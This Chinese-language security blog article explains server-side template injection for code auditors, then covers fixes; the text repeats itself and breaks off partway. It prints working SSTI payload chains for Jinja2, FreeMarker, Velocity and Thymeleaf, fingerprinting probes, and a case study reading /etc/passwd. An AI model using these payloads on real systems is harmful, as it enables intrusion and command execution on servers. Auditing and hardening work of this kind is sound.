尧图网页设计 
1. 模板代码为什么是安全审计里最容易被忽略的盲区做代码审计这些年我有一个很深的体会大家盯着业务逻辑、SQL语句、文件上传这些“明面战场”盯得很紧但模板代码往往成了盲区。尤其是一套系统跑了好几年业务代码换了几茬人维护模板文件却是最容易被“只加不改”的部分——没人愿意动模板因为一改就容易影响页面展示但恰恰是这份“不想动”让模板里的安全问题能存活很久。先说清楚“模板代码”这个概念。这里的模板不是指PPT模板、简历模板那种静态文件而是指模板引擎处理的代码Jinja2、Twig、Velocity、FreeMarker、Thymeleaf、Smarty这些都是。举个最直观的例子Python的Flask框架搭配Jinja2from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)这段代码看起来很普通用户输入一个名字拼进页面。但如果用户输入的不只是一个“名字”而是一段模板语法呢比如传入{{ 7*7 }}有的模板引擎会直接计算出49渲染出来。这叫什么这叫服务端模板注入SSTIServer-Side Template Injection。攻击者通过模板语法一步步摸到模板引擎的底层对象最终可能实现任意文件读取、远程命令执行甚至是直接拿下服务器。我在实际审计中见过不止一次一个看起来完全无害的模板渲染点因为数据源来自用户可控的输入最后被打穿成了RCE远程代码执行。这就是模板代码安全审计的核心价值——在攻击者利用模板语法之前先把危险的渲染路径找出来堵上。这篇内容适合谁如果你是做代码审计、安全测试、红队渗透的本文的挖掘思路和Payload构造方法可以直接抄作业如果你是后端开发模板引擎是你每天都要打交道的东西搞清楚哪些写法是危险的、哪些输入不能进模板能帮你少踩很多坑。2. SSTI漏洞的形成原理模板引擎的双重身份要理解模板代码为什么危险得先搞清楚一件事模板引擎既是渲染工具又是一个图灵完备的语言解释器。2.1 模板引擎的“设计意图”与“攻击面”的错位模板引擎的设计初衷很单纯把数据填进模板输出HTML页面。所以它定义了变量插值语法比如Jinja2的{{ name }}、Twig的{{ name }}、FreeMarker的${name}。但是为了让模板具备逻辑处理能力循环、判断、过滤器模板引擎又内置了一套完整的表达式语言。这套语言不仅能访问变量还能调用对象的方法、访问对象的属性、甚至通过反射机制触达语言底层的类。问题就出在这里模板引擎的作者在设计时默认了“模板是开发者写的变量是可信的”但实际开发中开发者也经常把用户输入直接拼进模板字符串或者把用户可控的数据直接传给模板渲染函数。这个信任边界的错位就是SSTI的根因。用生活化的比喻来解释模板引擎就像一栋大楼的门禁系统设计者觉得“能进大楼的都是自己人”所以楼里每个房间都没上锁。结果开发者不小心把一张楼门卡复印给了陌生人——最终陌生人不仅能进大厅还能打开档案室、财务室甚至控制整栋楼的配电房。2.2 攻击链的关键节点从变量访问到底层对象SSTI攻击的核心思路是寻找从“模板变量”到“语言原生对象”的跳板。不同的模板引擎这个跳板的名字不一样模板引擎语言常用Payload中的关键对象备注Jinja2Python__class__、__mro__、__subclasses__()通过类对象链调用任意类TwigPHP_self、__globals__、Environment高版本利用了filter过滤器FreeMarkerJava#assign、.class、?new()可利用freemarker.template.utility.ExecuteVelocityJavaClass.forName、Runtime老牌Java模板引擎ThymeleafJava__${...}__、T(java.lang.Runtime)Spring常用SmartyPHP{php}标签老版本新版需结合沙箱绕过以Jinja2为例攻击的最基本链路是这样的{{ .__class__.__mro__[2].__subclasses__() }}这行代码的意思是空字符串的类str类→ 通过__mro__找到它的父类链object类→ 通过__subclasses__()拿到object类的所有子类列表。拿到这个列表就能在列表中寻找可以执行命令的类比如subprocess.Popen然后调用它执行系统命令{{ .__class__.__mro__[2].__subclasses__()[xxx](ls -la, shellTrue) }}这就是为什么模板代码审计的危险性远高于普通的XSS或注入——它不只是篡改页面内容而是直接通往系统命令执行。2.3 模板代码审计与普通代码审计的关键差异普通代码审计关注的是SQL注入、XSS、SSRF、文件包含、反序列化……这些漏洞各有各的触发点。而模板代码审计关注的核心是数据流是否从“不可信输入”流向了“模板渲染函数”。一句话概括审计目标找出所有用户可控数据进入到模板渲染逻辑的路径评估这条路径是否可以被模板语法利用。这里必须澄清一个常见误区不是所有用了render_template_string的代码都有SSTI关键是“渲染的模板内容”是不是用户可控的。# 危险模板字符串本身来自用户输入 template request.args.get(tpl) return render_template_string(template, namename) # 中等风险用户输入的变量值进模板但模板本身是固定写法 # 如果变量值本身是模板语法且渲染时没有转义也可能出问题 return render_template_string(h1{{ name }}/h1, nameuser_input) # 安全模板内容固定变量值已做转义处理 return render_template(hello.html, nameescape(user_input))第一种是标准的SSTI场景第二种取决于模板引擎对变量值的处理策略——Jinja2默认不会对{{ name }}再进行二次渲染所以变量的值本身不会被当成模板语法执行但有些引擎的render策略不一样第三种最稳。审计时要把这三种情况分清楚不能一概而论。3. 实战挖掘通用侦察手法与各引擎Payload对照真正开始挖模板注入的时候我习惯按一套固定的流程走这套流程帮我挖出过不少漏洞分享出来供你参考。3.1 第一步探测模板引擎类型拿到一个可疑的渲染点后第一步不是急着打Payload而是先判断它用的是哪种模板引擎。不同的引擎语法风格完全不同用A引擎的Payload去打B引擎大概率无功而返。我的做法是用一组“探针”快速识别# 字符串拼接测试 {{7*7}} → 如果输出49很可能是Jinja2或Twig ${7*7} → 如果输出49很可能是FreeMarker或Velocity {{7*7}} → 如果输出49Jinja2数字乘以字符串如果输出7777777可能Twig % 7*7 % → 如果输出49可能是ERBRuby系 ${7*7} → 也可能是Spring EL/Thymeleaf注意观察输出的差异。比如{{7*7}}在Jinja2中会因为“数字乘字符串”得到49而在某些引擎里会直接报错。报错信息有时反而更有价值——错误页面里的堆栈信息会直接告诉你用的是哪个框架、哪个模板引擎、甚至哪个版本。还有一个技巧输入一个不存在的变量名比如{{ not_exist_var }}如果渲染结果原样输出说明模板引擎严格报错如果返回空字符串说明引擎做了容错处理。结合这个表现来判断引擎版本特征。3.2 第二步从探针到执行命令的逐级放大确定了引擎类型之后就开始构造完整的利用链。以Jinja2为例我整理了一份自用的“放大链路清单”第一级确认对象链可达{{ .__class__.__mro__ }}如果返回了一长串类继承关系说明Python内建对象可达攻击链成立。第二级寻找可利用的类{{ .__class__.__mro__[2].__subclasses__() }}这一步输出会非常长需要逐个数出目标类比如subprocess.Popen、os._wrap_close等的下标位置。实际利用中我不会手工去数而是直接加载一个Python脚本让脚本去遍历并打印出所有包含目标类名的下标import requests url http://target/app payload {{ .__class__.__mro__[2].__subclasses__() }} r requests.get(url, params{q: payload}) # 从响应中解析类列表定位 subprocess.Popen 的位置第三级执行命令{{ .__class__.__mro__[2].__subclasses__()[index](id, shellTrue, stdout-1).communicate() }}注意这个过程中可能出现的问题__subclasses__()的列表顺序在不同Python环境下不一样类名也可能因为版本差异存在与否。所以严格来说每次利用都要现场定位不能用一个固定的下标打天下。其他引擎的利用链我也简单列一下作为参考FreeMarkerJava经典链#assign valuefreemarker.template.utility.Execute?new()${value(id)}这个?new()可以调用Execute类的构造器来执行命令。新版FreeMarker对?new()做了限制但还可以利用freemarker.template.utility.ObjectConstructor来构造任意对象。VelocityJava经典链#set($ee) $e.getClass().forName(java.lang.Runtime).getRuntime().exec(id)Velocity的getClass().forName()是常见利用入口。ThymeleafJava经典链__${T(java.lang.Runtime).getRuntime().exec(id)}__Thymeleaf特有的__${...}__语法用于在表达式前后拼接字符串时表达式部分仍会执行。3.3 第三步盲打场景下的时间盲注与小技巧不是所有SSTI都能直接看到输出结果。有些模板渲染发生在异步任务里或者输出被HTML编码了甚至根本不回显。这时候就需要盲注SSTI。我的经验是通过“时间延迟”来判断模板执行是否成功# Jinja2 时间盲注 {{ .__class__.__mro__[2].__subclasses__() }} # 结合一个耗时的函数调用 {{ cycler.__init__.__globals__.os.popen(sleep 5).read() }}如果响应延后了约5秒说明命令被执行了。还有一种情况是输出被HTML实体编码看不到方法名和类名但能看到混淆后的内容。这种情况可以通过构造特定的字符串比较来做布尔盲注比如{{ a a and yes or no }}不过这种探测效率偏低如果条件允许我更建议直接上工具比如tplmap辅助但千万别完全依赖工具——工具识别不了的场景手工审计的思路反而能救场。3.4 一个完整的挖洞案例复盘为了让你更有体感我复述一个之前审计的真实案例细节做了脱敏处理某系统有个“导出报表”功能URL参数report_type直接拼进了HTML模板代码大概是def export(request): report_type request.GET.get(report_type, daily) template h1报表类型{{ report_type }}/h1 p以下是报表内容.../p .replace({{ report_type }}, report_type) return HttpResponse(render_template_string(template, report_typereport_type))这里有个非常隐蔽的问题开发者为了让用户输入的report_type能直接显示先把模板字符串里的{{ report_type }}替换成了用户输入的值然后又把这个值作为变量传给了render_template_string。结果就是用户输入被二次求值。我手工访问/export?report_type{{7*7}}页面标题显示“报表类型49”。确认SSTI成立。进一步利用/export?report_type{{ .__class__.__mro__[2].__subclasses__() }}响应页里直接列出了所有Python子类。我用脚本定位到subprocess.Popen的下标后/export?report_type{{ .__class__.__mro__[2].__subclasses__()[247](cat /etc/passwd, shellTrue, stdout-1).communicate() }}成功读取了服务器上的/etc/passwd。整个利用过程不到十分钟。这个案例的教训很直接开发者以为“用户输入替换进字符串”只是纯文本拼接但这一操作把一个可控变量从“模板变量”升级成了“模板代码”——性质完全不同。4. 模板代码里那些“藏着掖着”的安全缺陷变量解析链与上下文泄漏很多人以为审计模板代码就是找SSTI其实模板里面的安全问题远不止SSTI一个。我在实际项目里遇到过很多因为模板设计不良导致的信息泄漏和逻辑绕过这些往往比SSTI更隐蔽也更难修。4.1 模板上下文对象过度暴露问题大多数模板引擎在渲染时会把一些全局对象注入到模板上下文里当前用户信息、数据库配置、环境变量、甚至一些内部服务接口地址。这些对象本来只给模板内部逻辑使用的但如果模板里有循环变量、宏定义、部分可控的片段攻击者就可以通过模板语法把这些敏感信息捞出来。举个例子Jinja2默认会暴露config对象{{ config }}如果开发时没有清理Flask的config模板里这一行可能直接把SECRET_KEY、数据库连接串全部打印出来。这不是SSTI只是模板上下文里的过度暴露。但它的危害一点也不比SSTI小——拿到了SECRET_KEY就能伪造session拿到了数据库连接串就能直连数据库。审计时我会重点看两方面渲染函数传入了哪些全局对象有没有传入超出模板必要范围的对象模板里有没有debug用的{{ config }}、{{ request.environ }}、{{ self.__dict__ }}之类的“裸奔”写法这两类问题在开发自测时可能被当作“调试方便”上线时稍不注意就留下来了。4.2 模板中的逻辑绕过与变量覆盖有些模板引擎支持赋值和运算比如Jinja2的{% set %}、FreeMarker的#assign。如果模板本身还承担了一部分业务判断逻辑如权限判断、支付金额计算审计时就要跟读模板逻辑看是否可以被用户输入覆盖。我见过一个比较经典的场景商城系统的运费模板里这样写{% if user.is_vip %} {% set shipping_cost 0 %} {% else %} {% set shipping_cost 10 %} {% endif %}表面上看没有危险。但假如模板里某处把用户输入的参数直接set进去了{% set shipping_cost request.args.get(shipping_cost, shipping_cost) %}那用户传入shipping_cost0就能绕过运费。这种问题不一定叫“注入”它本质上就是模板变量被不可信输入覆盖——在审计模板代码时看到set、assign这类赋值操作就要多问一句等号右侧的数据源是可信的吗4.3 模板文件包含与动态模板名另一个高危点是动态模板名。正常开发中模板文件名一般是固定的render_template(user_profile.html)。但有些系统为了实现“多主题”“多皮肤”功能把模板名做成了用户可控参数template_name request.args.get(theme, default) return render_template(template_name .html)这种写法最直接的危害是任意文件读取——结合路径穿越/theme?theme../../../../etc/passwd如果框架的模板加载器没有限制路径恶意输入可能直接读到服务器上的任意文件。更进阶的做法是把可控文件名指向一个攻击者上传的文件比如头像图片模板引擎会把这个文件当作模板解析——这时的攻击面就不只是SSTI而是**“任意文件当作模板执行”**性质等同于RCE。审计时要重点排查所有render_template/display/fetch等渲染函数的第一个参数模板路径/名称是否来自不可信输入。模板加载器的搜索路径是否越权比如能搜索到上传目录。是否存在模板缓存机制缓存key是否可控能不能通过污染缓存key读取畸形内容。4.4 过滤器和宏定义里的隐藏风险最后别忘了模板引擎的自定义过滤器和宏定义的参数。开发者经常会写一些自定义过滤器来格式化数据比如app.template_filter(highlight) def highlight(text, keyword): return text.replace(keyword, mark keyword /mark)这个过滤器完全没有转义间接导致存储型XSS。而且更微妙的是如果过滤器内部拼接的字符串被模板二次渲染可能造成二次SSTI。模板宏也一样宏定义的参数默认可信但如果宏内部有直接拼接HTML并交给|safe渲染的逻辑一样会出XSS。所以在审计模板代码时我的检查清单里面至少包含这几项模板上下文暴露了哪些敏感对象。模板里是否有set/assign赋值来自不可信来源。渲染函数接收的模板名/路径是否可控。自定义过滤器与宏是否对输出做了转义。模板缓存策略是否会导致脏数据复用。5. 从审计到修复模板代码供应链里的风险与加固方案发现问题是审计的一半另一半是把问题修好并且防止同类问题再次出现。模板代码的修复跟普通代码不太一样因为它牵涉到模板引擎本身和依赖链光改一行业务代码往往不够。5.1 依赖组件漏洞模板引擎自身的CVE模板引擎也是软件也会有自己的漏洞。最近几年影响比较大的就有Log4j2相关的模板处理链CVE-2024-38819这种Log4j2的JNDI查询在模板/日志渲染时被触发以及各类模板引擎的沙箱逃逸漏洞。审计时要做的第一件事就是核查模板引擎及其依赖的版本组件风险版本修复版本漏洞描述Apache Log4j2 2.17.02.17.0JNDI查询触发RCE模板/日志中格式化用户输入时可能触发FreeMarker 2.3.302.3.30?new()沙箱绕过风险Jinja2部分旧版本升级到最新沙箱绕过与字符串格式化漏洞有一个细节很容易被忽略很多系统的模板引擎不是直接依赖而是通过框架间接引入的。比如用Flask就有Jinja2用Spring Boot就可能带Thymeleaf或FreeMarker。审计依赖链时不能用“项目里没直接用”来判断要看整个依赖树。我一般在审计报告里会附一张“依赖风险清单”别只给结论把升级路径和验证方式写清楚开发同学才能照着执行。5.2 分层修复策略业务代码层、配置层、引擎层修SSTI最稳妥的方式永远是不让不可信输入进入模板代码的“代码位”但在真实修复中业务逻辑往往不允许大改所以我会按优先级给方案。第一层数据清洗与转义速度最快所有进入模板渲染的用户输入默认视为不可信数据。如果只是展示用户内容模板里不要直接{{ user_input }}要经过转义过滤器Jinja2的escape()、Flask的|e过滤器都可以。{{ user_input|e }}但是注意转义能防XSS不能防SSTI。如果攻击者注入的是模板语法转义处理的是HTML字符模板引擎依然会先解析模板语法再输出HTML。所以转义只能处理“变量值作为展示数据”的场景不能处理“变量值被当作模板代码”的场景。第二层输入校验和渲染方式改造推荐如果是模板名可控做白名单校验ALLOWED_THEMES [default, dark, light] if theme not in ALLOWED_THEMES: theme default如果是模板字符串可控彻底禁止这种写法——模板字符串必须由开发者维护不能用用户输入拼模板改用占位符渲染# 错误写法 template h1{{ report_type }}/h1.replace({{ report_type }}, report_type) # 正确写法 template h1{{ report_type }}/h1 # 模板固定 return render_template_string(template, report_typereport_type)这两者的本质区别是前者的用户输入变成了模板的一部分可控代码后者的用户输入只是模板变量的值普通数据。第三层沙箱与最小权限治本但复杂如果业务实在需要让用户参与模板编写比如邮件模板、通知模板的管理后台那就得上沙箱。坦率说模板沙箱并不是绝对安全的——Jinja2的沙箱被绕过过不止一次FreeMarker的沙箱也在不断打补丁。我的建议是模板渲染进程用独立低权限账号运行。渲染进程所在的容器/虚拟机做网络隔离禁止访问内网关键服务。对渲染结果做长度限制防止一次性输出大量数据。开启引擎自身的沙箱模式但不要盲目信任。严格限制模板引擎可访问的文件系统范围配置模板加载器的搜索路径白名单。5.3 代码规范与自动化审计的落地最后谈一谈“怎么让模板代码的安全审计常态化”。我在团队里推过一套实践效果还不错分享给你1. 建立模板代码审计清单把上面提到的检查点固化成一张清单每次代码评审时对照检查模板上下文暴露、模板名可控、变量赋值数据源、过滤器转义、依赖版本。别嫌麻烦清单能帮你保持稳定的审计质量。2. 用自动化工具做静态扫描代码审计工具对模板代码的检测能力参差不齐但至少能帮你定位“可疑的渲染函数调用点”。我常用的是BanditPython能扫到render_template_string但需要人工研判BrakemanRuby on Rails对模板注入检测相对成熟Semgrep多语言可以自定义规则比如Semgrep可以写一条简单规则扫描“模板字符串拼接变量”的模式rules: - id: ssti-template-string languages: [python] message: 模板字符串不应拼接用户输入 severity: WARNING patterns: - pattern: render_template_string(...)自定义规则很香但工具永远只能给你线索判断还得靠人。3. 定期做依赖版本巡检把模板引擎及其传递性依赖拉一个清单定期比对NVD、CVE情报源用自动化脚本盯版本更新。别等出事再升。6. 实际审计项目里的经验教训一次从SSTI到排查链路的完整复盘说了这么多理论最后沉淀一个我印象最深的实战复盘。那次审计目标是一个有着上百万用户的内容管理平台技术栈是PythonDjango模板用的是Django模板和Jinja2混用。整套系统非常庞大光模板文件就有上千个我花了三天时间做模板代码专项审计。6.1 发现可疑渲染点一个“功能残留”的接口第一天我先用一个信息收集脚本把全站所有的视图函数扫描了一遍筛出那些接收request参数并直接传给render或render_to_string的调用点。结果在一个后台管理模块里发现了一个很久以前遗留的“预览邮件”功能。这个功能的本意是运营人员填写邮件模板内容点击“预览”看效果。它的实现方式是把用户填写的邮件HTML直接当作模板渲染def preview_email(request): template request.POST.get(content, ) context { username: request.user.username, site_name: settings.SITE_NAME, } return HttpResponse(render_template_string(template, context))运营人员是从后台登录的当时我一度觉得“后台用户本来就是可信的”差点跳过。但转念一想这个后台有没有可能被其他XSS打到运营账号有没有可能被社工拿到最关键的——这个接口的登录校验到底严不严带着疑点我测了一下鉴权。好消息是这个接口确实做了登录校验坏消息是——只是普通的后台登录没有做二次授权比如MFA而整个后台系统的前端又存在一个存储型XSS另一条链路发现的。两者一组合攻击面就闭环了攻击者先通过XSS拿到运营账号的操作权限再利用这个预览接口执行任意模板代码最终实现服务器控制。这已经不是理论推演而是可以实际利用的攻击链。6.2 构造Payload验证一个被低估的__getattr__确认这个接口可以被利用之后我按之前说的标准链路构造Payload但遇到了一个意外情况Django的模板渲染环境和Jinja2不太一样而且这个项目在部分页面用的是Django原生模板原生模板的SSTI利用姿势跟Jinja2完全不同。我试了很多种方法原生Django模板的{% include %}、{% extends %}都有路径限制直接读文件不好使。后来注意到Django模板里有{% debug %}之类的行为差异我一层一层梳理最终找到突破口Django模板的{% extends %}虽然不能直接读任意文件但配合{% include %}和模板加载器的路径解析规则可以加载部分特定位置的模板文件。虽然这条路没法直接拿到RCE但可以读取系统里的其他模板源码泄露大量业务敏感信息。这个发现让我意识到一个更深层的问题模板代码审计不能只看某一个模板引擎更不能只按“教科书”里的经典Payload去打。同一个系统里混用多套模板引擎的场景非常常见每一套引擎的语法、对象模型、可利用姿势都要分别评估。6.3 从代码到配置的一连串连锁问题顺着这个预览接口往下挖我又找出了几个后续问题问题一模板调试模式未关闭系统的Django设置里DEBUG True还在模板渲染出错时直接把完整的堆栈打到页面上包括数据库连接配置、本地文件路径、部分环境变量。这些信息叠加SSTI利用攻击成本直线下降。问题二模板目录权限过大系统配置了多个模板搜索路径其中一个直接指向了用户上传目录。这意味着攻击者可以通过上传一个恶意模板文件再触发模板渲染去加载它绕过所有“只能读固定模板”的限制。这是典型的“文件上传模板渲染”组合拳。问题三后台账号没有启用MFA这就是我前面说的“运营账号被XSS打到”这个攻击闭环的先决条件。单个问题看似不致命但串起来就是一条完整攻击链。6.4 最终修复方案与验证过程修复我是按三层来做的先止血立刻关闭DEBUG True上线DEBUG False。预览邮件接口改为只渲染纯文本彻底移除HTML模板渲染能力如果业务确实需要富文本预览改成前端渲染方案后端只做文本校验。再改造模板渲染函数不再直接接收用户提交的模板内容改为内置一套受控的模板片段运营人员只能通过变量占位符填写内容无法直接书写模板语法。模板加载路径白名单化把用户上传目录从模板搜索路径中移除。最后加规范全站启用MFA后台账号强制二次认证。增加CI阶段的自定义Semgrep规则扫描render_template_string的调用点发现用户输入直接进入模板就自动阻断合并请求。修复后的验证我做了三轮第一轮用原始Payload重新打接口确认全部失效第二轮做回归测试确保预览功能还能正常使用第三轮用自动化扫描工具跑了一遍全站模板渲染点确认没有遗漏的同类问题。7. 写在最后的几点实践心得模板代码安全审计这个方向说难也难说容易也容易。难在它需要同时理解模板引擎的底层机制、宿主语言的运行时特性、Web框架的上下文传递方式容易在于只要掌握了几个关键分析点就能比绝大多数攻击者更早发现风险。我个人的实操体会是不要神话SSTI也不要忽略它。大量真实的模板安全风险不是那种一击必杀的远程命令执行而是各种不起眼的信息泄漏、覆盖赋值、依赖组件漏洞。把它们一个个找出来系统的整体安全水位反而会提升得更扎实。最后分享一个我自己写审计报告时的习惯每个模板漏洞一定要附上“完整触发链路”——从哪个输入点进来、经过哪些函数流转、最终在哪个模板渲染点爆发。开发同学接到这样的报告时省去了大量自己追数据流的时间修复起来也快很多。审计不是炫技是帮业务把风险降到可接受的水平。这一点做审计和写代码其实是一样的。 模板代码安全审计：从SSTI到RCE的实战挖掘指南
1. 模板代码为什么是安全审计里最容易被忽略的盲区做代码审计这些年我有一个很深的体会大家盯着业务逻辑、SQL语句、文件上传这些“明面战场”盯得很紧但模板代码往往成了盲区。尤其是一套系统跑了好几年业务代码换了几茬人维护模板文件却是最容易被“只加不改”的部分——没人愿意动模板因为一改就容易影响页面展示但恰恰是这份“不想动”让模板里的安全问题能存活很久。先说清楚“模板代码”这个概念。这里的模板不是指PPT模板、简历模板那种静态文件而是指模板引擎处理的代码Jinja2、Twig、Velocity、FreeMarker、Thymeleaf、Smarty这些都是。举个最直观的例子Python的Flask框架搭配Jinja2from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)这段代码看起来很普通用户输入一个名字拼进页面。但如果用户输入的不只是一个“名字”而是一段模板语法呢比如传入{{ 7*7 }}有的模板引擎会直接计算出49渲染出来。这叫什么这叫服务端模板注入SSTIServer-Side Template Injection。攻击者通过模板语法一步步摸到模板引擎的底层对象最终可能实现任意文件读取、远程命令执行甚至是直接拿下服务器。我在实际审计中见过不止一次一个看起来完全无害的模板渲染点因为数据源来自用户可控的输入最后被打穿成了RCE远程代码执行。这就是模板代码安全审计的核心价值——在攻击者利用模板语法之前先把危险的渲染路径找出来堵上。这篇内容适合谁如果你是做代码审计、安全测试、红队渗透的本文的挖掘思路和Payload构造方法可以直接抄作业如果你是后端开发模板引擎是你每天都要打交道的东西搞清楚哪些写法是危险的、哪些输入不能进模板能帮你少踩很多坑。2. SSTI漏洞的形成原理模板引擎的双重身份要理解模板代码为什么危险得先搞清楚一件事模板引擎既是渲染工具又是一个图灵完备的语言解释器。2.1 模板引擎的“设计意图”与“攻击面”的错位模板引擎的设计初衷很单纯把数据填进模板输出HTML页面。所以它定义了变量插值语法比如Jinja2的{{ name }}、Twig的{{ name }}、FreeMarker的${name}。但是为了让模板具备逻辑处理能力循环、判断、过滤器模板引擎又内置了一套完整的表达式语言。这套语言不仅能访问变量还能调用对象的方法、访问对象的属性、甚至通过反射机制触达语言底层的类。问题就出在这里模板引擎的作者在设计时默认了“模板是开发者写的变量是可信的”但实际开发中开发者也经常把用户输入直接拼进模板字符串或者把用户可控的数据直接传给模板渲染函数。这个信任边界的错位就是SSTI的根因。用生活化的比喻来解释模板引擎就像一栋大楼的门禁系统设计者觉得“能进大楼的都是自己人”所以楼里每个房间都没上锁。结果开发者不小心把一张楼门卡复印给了陌生人——最终陌生人不仅能进大厅还能打开档案室、财务室甚至控制整栋楼的配电房。2.2 攻击链的关键节点从变量访问到底层对象SSTI攻击的核心思路是寻找从“模板变量”到“语言原生对象”的跳板。不同的模板引擎这个跳板的名字不一样模板引擎语言常用Payload中的关键对象备注Jinja2Python__class__、__mro__、__subclasses__()通过类对象链调用任意类TwigPHP_self、__globals__、Environment高版本利用了filter过滤器FreeMarkerJava#assign、.class、?new()可利用freemarker.template.utility.ExecuteVelocityJavaClass.forName、Runtime老牌Java模板引擎ThymeleafJava__${...}__、T(java.lang.Runtime)Spring常用SmartyPHP{php}标签老版本新版需结合沙箱绕过以Jinja2为例攻击的最基本链路是这样的{{ .__class__.__mro__[2].__subclasses__() }}这行代码的意思是空字符串的类str类→ 通过__mro__找到它的父类链object类→ 通过__subclasses__()拿到object类的所有子类列表。拿到这个列表就能在列表中寻找可以执行命令的类比如subprocess.Popen然后调用它执行系统命令{{ .__class__.__mro__[2].__subclasses__()[xxx](ls -la, shellTrue) }}这就是为什么模板代码审计的危险性远高于普通的XSS或注入——它不只是篡改页面内容而是直接通往系统命令执行。2.3 模板代码审计与普通代码审计的关键差异普通代码审计关注的是SQL注入、XSS、SSRF、文件包含、反序列化……这些漏洞各有各的触发点。而模板代码审计关注的核心是数据流是否从“不可信输入”流向了“模板渲染函数”。一句话概括审计目标找出所有用户可控数据进入到模板渲染逻辑的路径评估这条路径是否可以被模板语法利用。这里必须澄清一个常见误区不是所有用了render_template_string的代码都有SSTI关键是“渲染的模板内容”是不是用户可控的。# 危险模板字符串本身来自用户输入 template request.args.get(tpl) return render_template_string(template, namename) # 中等风险用户输入的变量值进模板但模板本身是固定写法 # 如果变量值本身是模板语法且渲染时没有转义也可能出问题 return render_template_string(h1{{ name }}/h1, nameuser_input) # 安全模板内容固定变量值已做转义处理 return render_template(hello.html, nameescape(user_input))第一种是标准的SSTI场景第二种取决于模板引擎对变量值的处理策略——Jinja2默认不会对{{ name }}再进行二次渲染所以变量的值本身不会被当成模板语法执行但有些引擎的render策略不一样第三种最稳。审计时要把这三种情况分清楚不能一概而论。3. 实战挖掘通用侦察手法与各引擎Payload对照真正开始挖模板注入的时候我习惯按一套固定的流程走这套流程帮我挖出过不少漏洞分享出来供你参考。3.1 第一步探测模板引擎类型拿到一个可疑的渲染点后第一步不是急着打Payload而是先判断它用的是哪种模板引擎。不同的引擎语法风格完全不同用A引擎的Payload去打B引擎大概率无功而返。我的做法是用一组“探针”快速识别# 字符串拼接测试 {{7*7}} → 如果输出49很可能是Jinja2或Twig ${7*7} → 如果输出49很可能是FreeMarker或Velocity {{7*7}} → 如果输出49Jinja2数字乘以字符串如果输出7777777可能Twig % 7*7 % → 如果输出49可能是ERBRuby系 ${7*7} → 也可能是Spring EL/Thymeleaf注意观察输出的差异。比如{{7*7}}在Jinja2中会因为“数字乘字符串”得到49而在某些引擎里会直接报错。报错信息有时反而更有价值——错误页面里的堆栈信息会直接告诉你用的是哪个框架、哪个模板引擎、甚至哪个版本。还有一个技巧输入一个不存在的变量名比如{{ not_exist_var }}如果渲染结果原样输出说明模板引擎严格报错如果返回空字符串说明引擎做了容错处理。结合这个表现来判断引擎版本特征。3.2 第二步从探针到执行命令的逐级放大确定了引擎类型之后就开始构造完整的利用链。以Jinja2为例我整理了一份自用的“放大链路清单”第一级确认对象链可达{{ .__class__.__mro__ }}如果返回了一长串类继承关系说明Python内建对象可达攻击链成立。第二级寻找可利用的类{{ .__class__.__mro__[2].__subclasses__() }}这一步输出会非常长需要逐个数出目标类比如subprocess.Popen、os._wrap_close等的下标位置。实际利用中我不会手工去数而是直接加载一个Python脚本让脚本去遍历并打印出所有包含目标类名的下标import requests url http://target/app payload {{ .__class__.__mro__[2].__subclasses__() }} r requests.get(url, params{q: payload}) # 从响应中解析类列表定位 subprocess.Popen 的位置第三级执行命令{{ .__class__.__mro__[2].__subclasses__()[index](id, shellTrue, stdout-1).communicate() }}注意这个过程中可能出现的问题__subclasses__()的列表顺序在不同Python环境下不一样类名也可能因为版本差异存在与否。所以严格来说每次利用都要现场定位不能用一个固定的下标打天下。其他引擎的利用链我也简单列一下作为参考FreeMarkerJava经典链#assign valuefreemarker.template.utility.Execute?new()${value(id)}这个?new()可以调用Execute类的构造器来执行命令。新版FreeMarker对?new()做了限制但还可以利用freemarker.template.utility.ObjectConstructor来构造任意对象。VelocityJava经典链#set($ee) $e.getClass().forName(java.lang.Runtime).getRuntime().exec(id)Velocity的getClass().forName()是常见利用入口。ThymeleafJava经典链__${T(java.lang.Runtime).getRuntime().exec(id)}__Thymeleaf特有的__${...}__语法用于在表达式前后拼接字符串时表达式部分仍会执行。3.3 第三步盲打场景下的时间盲注与小技巧不是所有SSTI都能直接看到输出结果。有些模板渲染发生在异步任务里或者输出被HTML编码了甚至根本不回显。这时候就需要盲注SSTI。我的经验是通过“时间延迟”来判断模板执行是否成功# Jinja2 时间盲注 {{ .__class__.__mro__[2].__subclasses__() }} # 结合一个耗时的函数调用 {{ cycler.__init__.__globals__.os.popen(sleep 5).read() }}如果响应延后了约5秒说明命令被执行了。还有一种情况是输出被HTML实体编码看不到方法名和类名但能看到混淆后的内容。这种情况可以通过构造特定的字符串比较来做布尔盲注比如{{ a a and yes or no }}不过这种探测效率偏低如果条件允许我更建议直接上工具比如tplmap辅助但千万别完全依赖工具——工具识别不了的场景手工审计的思路反而能救场。3.4 一个完整的挖洞案例复盘为了让你更有体感我复述一个之前审计的真实案例细节做了脱敏处理某系统有个“导出报表”功能URL参数report_type直接拼进了HTML模板代码大概是def export(request): report_type request.GET.get(report_type, daily) template h1报表类型{{ report_type }}/h1 p以下是报表内容.../p .replace({{ report_type }}, report_type) return HttpResponse(render_template_string(template, report_typereport_type))这里有个非常隐蔽的问题开发者为了让用户输入的report_type能直接显示先把模板字符串里的{{ report_type }}替换成了用户输入的值然后又把这个值作为变量传给了render_template_string。结果就是用户输入被二次求值。我手工访问/export?report_type{{7*7}}页面标题显示“报表类型49”。确认SSTI成立。进一步利用/export?report_type{{ .__class__.__mro__[2].__subclasses__() }}响应页里直接列出了所有Python子类。我用脚本定位到subprocess.Popen的下标后/export?report_type{{ .__class__.__mro__[2].__subclasses__()[247](cat /etc/passwd, shellTrue, stdout-1).communicate() }}成功读取了服务器上的/etc/passwd。整个利用过程不到十分钟。这个案例的教训很直接开发者以为“用户输入替换进字符串”只是纯文本拼接但这一操作把一个可控变量从“模板变量”升级成了“模板代码”——性质完全不同。4. 模板代码里那些“藏着掖着”的安全缺陷变量解析链与上下文泄漏很多人以为审计模板代码就是找SSTI其实模板里面的安全问题远不止SSTI一个。我在实际项目里遇到过很多因为模板设计不良导致的信息泄漏和逻辑绕过这些往往比SSTI更隐蔽也更难修。4.1 